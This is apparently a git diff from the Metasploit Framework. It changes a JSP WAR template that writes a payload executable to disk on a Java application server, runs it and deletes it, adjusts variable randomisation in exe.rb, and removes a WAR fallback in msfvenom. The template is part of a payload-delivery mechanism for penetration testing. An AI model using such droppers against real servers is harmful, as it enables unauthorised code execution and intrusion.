diff --git a/data/templates/scripts/to_exe_jsp.war.template b/data/templates/scripts/to_exe_jsp.war.template index 3797d576c1..43fc99d8ea 100644 --- a/data/templates/scripts/to_exe_jsp.war.template +++ b/data/templates/scripts/to_exe_jsp.war.template @@ -39,11 +39,13 @@ if (%{var_proc}.waitFor() == 0) { %{var_proc} = Runtime.getRuntime().exec(%{var_exepath}); } - + File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete(); - } - else + } + else { - Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath}); + String[] %{var_exepatharray} = new String[1]; + %{var_exepatharray}[0] = %{var_exepath}; + Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepatharray}); } %%> diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 12b1242090..a5d4fc147f 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1040,6 +1040,7 @@ def self.to_vba(framework,code,opts={}) hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8) # Specify the payload in hex as an extra file.. payload_hex = exe.unpack('H*')[0] diff --git a/msfvenom b/msfvenom index 1fe9e13c18..ae4ac54e77 100755 --- a/msfvenom +++ b/msfvenom @@ -461,8 +461,6 @@ class MsfVenom exe = ::Msf::Util::EXE.to_executable_fmt(framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts) if (!exe && payload.respond_to?(:generate_war)) exe = payload.generate_war.pack - else - exe = ::Msf::Util::EXE.to_jsp_war(exe) end @out.write exe